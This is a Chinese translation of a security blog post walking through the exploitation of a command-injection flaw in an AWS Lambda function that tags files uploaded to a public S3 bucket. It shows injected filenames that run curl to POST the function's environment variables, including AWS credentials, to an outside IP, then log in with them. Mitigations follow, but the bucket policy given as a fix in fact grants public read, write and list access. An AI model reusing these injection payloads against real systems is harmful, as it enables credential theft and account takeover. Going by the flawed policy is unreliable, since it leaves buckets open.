在本文中,我们将从黑盒测试和白盒测试的角度为大家解释一个真实的攻击场景:攻击者是如何使用易受攻击的AWS Lambda函数获得对云环境的初始访问权限的。最后,我们将为大家介绍针对这种攻击手法的最佳防御实践。
眼下,无服务器技术正在成为业务应用程序的主流,有了它,用户无需管理底层基础设施即可实现可扩展性、性能和成本效益。并且,这些工作负载可以轻松扩展到每秒数千个并发请求。实际上,云环境中使用最多的无服务器服务之一,就是AWS Lambda服务。
在考察应用程序的时候,一个基本要素就是安全性。比如,代码中的错误或缺乏用户输入验证不仅可能会导致功能受损,而且还可能导致云帐户被入侵。
关于AWS Lambda函数
AWS Lambda是一种事件驱动的无服务器计算服务,允许运行用不同编程语言编写的代码,从而实现基于云环境的自动化操作。
这种方法的主要优势之一是,Lambda是在由AWS直接管理的高可用计算基础结构中运行我们的代码的。也就是说,与底层基础设施相关的所有管理活动,包括服务器和操作系统维护、自动伸缩、修补和日志记录等,都是由云供应商替我们完成的。
用户只需在这些服务上运行实现自己所需功能的代码就可以了。
安全共担之痛
对于云环境的安全来说,虽然本质上是由云供应商来管理的,但仍然允许用户进行相应的配置,所以,安全问题和风险实际上与参与双方共担的。
由于用户无法控制特定Lambda函数背后的基础设施,因此,底层基础设施的安全风险实际上是由云供应商直接管理的。
通过AWS IAM,用户可以限制lambda函数及其组件的访问权限和允许的操作。如果对IAM角色或Lambda函数使用的对象的权限配置出错,可能会造成严重的后果,导致云环境被攻击者拿下。更重要的是,在Lambda函数中实现的代码是由用户控制的,正如我们在后门所看到的,如果代码中存在安全漏洞,该函数则可能被攻击者用来访问云账户并进行横向移动。
攻击场景
我们将使用两种不同的测试方法来考察两个攻击场景:黑盒测试和白盒测试,这是渗透测试中用来评估特定基础设施、应用程序或功能的安全态势的两种主要测试方法。
从不同的角度来看Lambda函数将有助于更深入、更全面地了解我们函数的安全态势,并帮助我们更好地理解可能的攻击和相关风险。
黑盒测试与白盒测试
进行黑盒测试时,攻击方并不具备环境本身和软件系统内部原理的任何信息。在这种测试方法中,攻击者需要对特定功能的逻辑背后可能隐藏的内容做出假设,并不断测试这些假设,以找到切入点。对于我们的场景,攻击者既没有云环境的任何访问权限,也没有任何关于云环境或帐户中可用的功能和角色的内部信息。
在白盒测试中,由于攻击者已经获得了内部信息,因此,他们可以在攻击过程中利用这些信息。在进行这种测试时,我们假设攻击者拥有查找可能的漏洞和安全问题所需的所有信息。
因此,白盒测试被认为是最全面的测试方式。在我们的场景中,攻击者在云环境中具有只读的初始访问权限,他们可以使用这些信息来评估已经部署的东西,以更好地锁定攻击目标。
#1黑盒测试场景
在这个攻击场景中,攻击者发现一个S3桶因为配置有误而向公众开放,其中含有公司的各种文件。
攻击者能够将文件上传到存储桶中,并在上传后检查文件配置。尽管攻击者对Lambda中实现的代码一无所知,但仍可以通过Lambda函数来获得每个上传文件的标签。
我们可以使用AWS CLI来列出prod-file-bucket-eu这个桶内的所有对象。
aws s3 ls prod-file-bucket-eu
我们通过上传文件获得信息的一种方式就是检查标签,看看是否可以找到一些有用的信息。使用get-object-tagging,我们可以看到分配给该文件的标签如下所示:
aws s3api get-object-tagging--bucket prod-file-bucket-eu--key config161.zip
这些标签肯定是自定义的,并在将文件上传到存储桶时动态添加。据推测,应该存在一种函数,用于添加与文件大小和路径相关的标签。
使用curl或awscli,我们可以尝试上传一个zip文件,看看标签是否会自动添加到我们的文件中。
aws s3 cp config.zip s3://prod-file-bucket-eu/
curl-X PUT-T config.zip
-H"Host:prod-file-bucket-eu.s3.amazonaws.com"
-H"Date:Thu,02 Dec 2021 15:47:04+0100"
-H"Content-Type:$"
http://prod-file-bucket-eu.s3.amazonaws.com/config.zip
一旦文件上传,我们可以检查文件标签,结果表明标签已经自动添加。
aws s3api get-object-tagging--bucket prod-file-bucket-eu--key config161.zip
所以,我们可以非常确定的一点是:这些值背后存在一个AWS Lambda函数。当一个新对象在存储桶中创建时,该函数似乎就会被触发。当然,Path和Size这两个标签,似乎是为每个文件动态计算的,可能是通过执行OS命令检索到的信息。
我们可以假设文件名用于在操作系统中查找文件,并计算文件大小。换句话说,文件名可能是用户输入,在OS命令中使用它来检索要放入标签中的信息。如果缺少用户输入验证,攻击者就可以通过向计算机提交精心构造的输入来执行任意命令。
在这种情况下,我们可以尝试在文件名中注入其他命令来实现远程代码执行。使用分号连接命令是将任意命令附加到用户输入中的一种常见方法,这样,如果用户输入没有得到很好的过滤,代码就可能会执行这些命令。
让我们尝试追加命令curl来打开与另一个EC2的连接,为此,我们可以使用POST方法发送测试消息“testrceCurl”。
aws s3 cp config.zip's3://prod-file-bucket-eu/screen;curl-X POST-d"testRCECurl"3.80.92.111:443;'
从下面的屏幕中,我们可以看到命令已正确执行,并且我们收到了连接和POST消息。
通过这种方式,我们证明了用户输入根本没有经过验证,因此,我们可以在AWS Lambda OS上成功地执行任意命令。我们可以利用这个安全漏洞直接访问云环境。
提取AWS凭据的方法之一,就是通过env变量。在这方面,我们已经证明,我们可以回连攻击者的机器,并将env变量的内容发送到POST消息中,以从中提取信息。
aws s3 cp config.zip's3://prod-file-bucket-eu/screen;curl-X POST-d"`env`"3.80.92.111:443;.zip'
使用curl命令,我们成功地获取了云凭据,并且可以使用这些凭据登录到云帐户。这样,我们就可以导入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,从get-caller-identity输出中可以看到,我们登录成功了。
aws sts get-caller-identity
{
"UserId":"AROA2PVZZYWS7MCERGTMS:corpFuncEasy",
"Account":"AccountID",
"Arn":"arn:aws:sts::AccountID:assumed-role/corpFuncEasy/corpFuncEasy"
}
一旦进入,攻击者就可以启动枚举过程来评估获得的特权,并查看是否存在进一步提升云帐户特权的路径。
#1白盒测试场景
下面,让我们对前面提出的相同攻击场景——攻击者发现了配置错误的S3存储桶——进行白盒测试。在这种情况下,攻击者可以通过网络钓鱼窃取凭据来访问云环境,而受攻击的用户帐户权限为:只读权限。
由于具有只读访问权限,攻击者可以合并从lambda函数中实现的代码中获得的信息,以更好地发动针对性攻击。
让我们从检查获得的凭据是否对登录云帐户有效开始入手。
aws sts get-caller-identity
{
"UserId":"AIDA2PVZZYWS3MXZKDH66",
"Account":"AccountID",
"Arn":"arn:aws:iam::AccountID:user/operator"
}
一旦登录,我们就可以开始评估相关用户或组的特权。在本例中,我们可以看到这里附加了以下策略。
aws iam list-attached-user-policies--user-name operator
我们只有只读权限,所以,接下来可以收集已经部署到账户中的信息,特别是关注配置错误的S3桶。
就像我们在黑盒测试场景中看到的那样,我们可以合理地假设,发现的开放型存储桶有一个lambda函数。因此,如果找到有关lambda函数的额外信息,将有助于更好地发动攻击。
通过命令list-functions,我们可以看到账户中可用的lambda函数。就这里来说,我们找到了corpFuncEasy函数及其相关信息,特别是该函数所使用的角色。
aws lambda list-functions
通过get-function,我们可以深入研究之前找到的lambda函数。在这里,我们可以找到一些基本的信息,如下载函数代码的链接。
ws lambda get-function--function-name corpFuncEasy
{
"Configuration":{
"FunctionName":"corpFuncEasy",
"FunctionArn":"arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy",
...
},
"Code":{
"RepositoryType":"S3",
"Location":"https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-..."
},
"Tags":{
"lambda-console:blueprint":"s3-get-object-python"
}
}
通过检查代码,我们可以更好地评估函数的安全性,并查看是否应用了安全最佳实践。
在这段代码中,我们可以看到上传的文件被放入/tmp/folder中,文件路径直接用于subprocess命令并执行。
我们看到,这里并没有对文件名应用任何输入验证,也就谈不上安全过滤了。现在,我们更清楚前面提到的攻击为什么能成功了。
在这里,使用的文件名为“screen.zip;curl-X POST-d“testRCECurl”3.80.92.111:443”,相应的subprocess命令如下所示:
"stat-c%s screen.zip;curl-X POST-d"testRCECurl"3.80.92.111:443"
正如我们所看到的,使用分号字符,我们可以在stat命令后面追加其他要执行的命令。正如我们前面提到的,执行curl命令后,字符串将发送到攻击系统的443端口。
如何防御这种攻击
我们已经从黑盒测试和白盒测试的角度考察了相应的攻击场景,但是我们如何进行防御呢?在考察的场景中,我们涵盖了不同的AWS组件,如S3桶和AWS lambda函数,但是某些安全因素被忽略了。
为了成功地缓解这种情况,我们可以在不同的级别和不同的特性上采取行动。特别是,我们可以:
1、禁用S3桶的公共访问权限,这样它就只能从内部访问,并且只能被通过了云账户认证的用户访问。
2、检查lambda函数中使用的代码,以确保里面没有任何安全漏洞,所有的用户输入都按照安全编写代码的安全准则进行了正确处理。
3、在应用于云特性的所有AWS IAM角色中应用最小特权原则,以避免不必要的操作或在帐户内出现特权提升路径。
下面,让我们来看看上面提到的所有要点,详细了解应该如何部署这些缓解措施。
禁用S3桶的公共访问权限
S3桶是AWS中用作存储的关键组件之一;S3桶经常被那些入侵云账户的攻击者所利用。
尽可能地保持S3桶的安全,应用所有可用的安全设置,避免对我们的数据或文件进行不必要的访问,这一点至关重要。
就本例来说,存储桶是公开的,所有未经授权的用户都能够对它进行读取和写入操作。为了避免这种情况,我们需要确保桶是可用的,私下里应用以下安全设置来限制访问。
此外,通过对存储桶施加ACL,可以定义允许对它执行哪些操作,以及可以访问桶中的哪些对象;对于其他的操作和对象,则一律拒绝。
{
"Version":"2012-10-17",
"Statement":[
{
"Sid":"PublicReadGetObject",
"Effect":"Allow",
"Principal":"*",
"Action":[
"s3:GetObject",
"s3:PutObject"
],
"Resource":"arn:aws:s3:::3bucket********/www/html/word/*"
},
{
"Sid":"PublicReadListObject",
"Effect":"Allow",
"Principal":"*",
"Action":"s3:List*",
"Resource":"arn:aws:s3:::s3bucket********/*"
}
]
}
审查lambda函数内部使用的代码
与任何其他Web应用程序一样,保证代码是按照安全最佳实践来实现的,是避免安全问题的根本所在。当然,Lambda函数中的代码也不例外,我们需要确保代码是安全的、无懈可击的。
就本案例来说,请看下面的代码片段:
file_count_KB=subprocess.check_output(
"stat-c%s"+file_download_path,
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()
其中,变量file_download_path保存有完整的文件路径,包括文件名。该路径直接连接到命令行以执行命令。但是,文件名是由用户决定和控制的,因此,在将路径附加到命令中之前,我们需要根据允许的字符进行适当的用户输入验证和过滤。
为了进行正确、有效的验证,我们需要清楚地知道哪些字符是允许的,哪些字符将包含在字符串中,并应用输入验证的最佳实践。
借助于正则表达式,我们可以只允许特定文件路径中出现的字符,并在攻击者试图提交不良字符时阻止其执行。在下面的例子中,我们可以看到一个用正则表达式来验证linux文件路径的例子。
pattern="^/$|(/[a-zA-Z_0-9-]+)+$"
if re.match(pattern,file_download_path):
file_count_KB=subprocess.check_output(
"stat-c%s"+file_download_path,
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()
需要说明的是,这个正则表达式是针对我们要验证的字段或输入的。OWASP提供了很好的最佳实践指南,当您需要处理任何类型的用户输入时,请遵循该指南。
在AWS IAM角色中应用最小特权原则
借助于AWS身份和访问管理(IAM),我们可以安全地管理对AWS服务和资源的访问。正如我们在第一节中所说,用户负责管理身份和访问管理层,并使用权限来控制对AWS资源的访问。
由于云环境中可用权限的粒度较细,所以,我们建议遵循最小特权原则,精确地赋予用户执行其操作所需的权限。如果为用户赋予了过大的权限,攻击者可能利用这一点实现权限提升。
在黑盒测试场景中,攻击者能够使用与lambda函数关联的AWS角色登录帐户。
攻击者可能会继续攻击并提升自己在AWS内部的权限,因为可能存在特权配置错误。通过对分配给lambda函数的角色授予所需的最低权限,我们可以攻击者提权路径最小化,以确保即使遭到入侵,也不会危及整个云环境。
当然,要想清楚地了解每个组、用户或资源附加了哪些政策和角色,也并不是那么容易。不过,我们可以借助于持续监视云中异常活动的安全工具,来生成安全事件。在AWS中,通过使用正确的工具,我们可以从CloudTrail事件和其他来源收集事件,以轻松地评估和加固云环境的安全性。
小结
虽然AWS Lambda函数在可扩展性和性能方面具有很大的优势,但是,如果不以最佳实践方式对安全进行全方位的管理,这些无服务器函数可能会被攻击者滥用,成为入侵AWS账户的利器。
在Lambda代码中施加适当的输入验证,在函数触发器中应用安全最佳实践,对于防御攻击者的入侵活动是至关重要的。正如在云环境中经常发生的那样,确保在IAM权限方面应用最小权限的原则,可以有效防御提权攻击。
本文翻译自:https://sysdig.com/blog/exploit-mitigate-aws-lambdas-mitre/